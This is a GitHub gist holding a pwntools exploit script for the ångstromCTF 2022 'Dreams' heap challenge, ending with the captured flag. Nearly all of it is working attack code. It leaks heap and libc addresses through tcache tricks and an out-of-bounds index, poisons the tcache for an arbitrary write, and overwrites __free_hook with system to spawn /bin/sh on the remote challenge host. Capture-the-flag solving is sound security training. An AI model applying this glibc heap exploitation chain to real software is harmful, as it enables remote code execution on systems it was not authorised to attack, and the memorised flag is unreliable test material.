Skip to content

Instantly share code, notes, and snippets.

@00xc

00xc/solve.py Secret

Created May 8, 2022
Embed
What would you like to do?
ångstromCTF 2022 - Dreams exploit
from pwn import *
A = b"A"
B = b"B"
def new(p, i, date, about):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"this dream? ", str(i).encode())
p.sendlineafter(b"(mm/dd/yy))? ", date)
if about is not None:
p.sendlineafter(b"about? ", about)
def free(p, i):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"trading in? ", str(i).encode())
assert(b"You let it go" in p.recvline())
def edit(p, i, date):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"trouble? ", str(i).encode())
about = p.recvline()
about = about.split(b"you that ")[-1]
if about[-1:] == b'\n':
about = about[:-1]
p.sendlineafter(b"date: ", date)
return about
def get_heap_base(p):
new(p, 0, A, B)
free(p, 0)
tcache = edit(p, 0, p64(0))
tcache = int.from_bytes(tcache, "little")
heap_base = tcache - 0x10
return heap_base
def arb_write(p, i, addr, v1, v2, v3=A, v4=A):
# https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c
"""
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
-------------- USER -----------------
struct tcache_entry *next; /* <-------------------- User pointer */
struct tcache_perthread_struct *key; /* Prevents double free */
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
"""
new(p, i, A, B) # c0
new(p, i + 1, A, B) # c1
free(p, i)
free(p, i + 1)
# c1->next = target
edit(p, i + 1, p64(addr))
new(p, i + 2, v3, v4) # c1
new(p, i + 3, v1, v2) # target
# Free the victim anyway
free(p, i + 2)
return i + 3
def arb_read(p, dreams_heap_addr, addr, wr):
negative_off = dreams_heap_addr - addr
ret = edit(p, -(negative_off // 8), wr)
return ret
def null_pad(s, ln):
return s + b"\x00" * (ln - len(s))
if __name__ == '__main__':
LOCAL = False
elf = ELF("./dreams")
libc = ELF("./libc.so.6")
if LOCAL:
p = process("./dreams")
print(p.pid)
else:
p = remote("challs.actf.co", 31227)
before_max_dreams_addr = 0x404000
heap_base = get_heap_base(p)
dreams_heap_addr = heap_base + 0x2a0
print("> heap_base: 0x{:x}".format(heap_base))
# Set MAX_DREAMS to a huge number
arb_write(p, 1, before_max_dreams_addr, b"AAAAAAA", b"BBBBBBBBBBB")
# Get libc leak:
# (*stdio) = 0xfbad2887 (we preserve it)
# (*stdio) + 8 = libc pointer (our leak)
stdio_addr = before_max_dreams_addr + 0x18
libc_leak = arb_read(p, dreams_heap_addr, stdio_addr, p64(0xfbad2887))
libc_leak = int.from_bytes(libc_leak, "little")
# libc base from pointer
libc_base = libc_leak - 0x1ed723
libc.address = libc_base
print("> libc base: 0x{:x}".format(libc.address))
print("> system@libc = 0x{:x}".format(libc.symbols['system']))
print("> __free_hook@libc = 0x{:x}".format(libc.symbols['__free_hook']))
# Overwrite __free_hook with system. We use the victim chunk in the write primitive to host our
# '/bin/sh' string, so that when we free it we get a shell.
sh = null_pad(b"/bin/sh/\x00", 27)
arb_write(p, 8, libc.symbols['__free_hook'], p64(libc.symbols['system']), None, sh[:7], sh[7:])
p.interactive()
# actf{hav3_you_4ny_dreams_y0u'd_like_to_s3ll?_cb72f5211336}
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment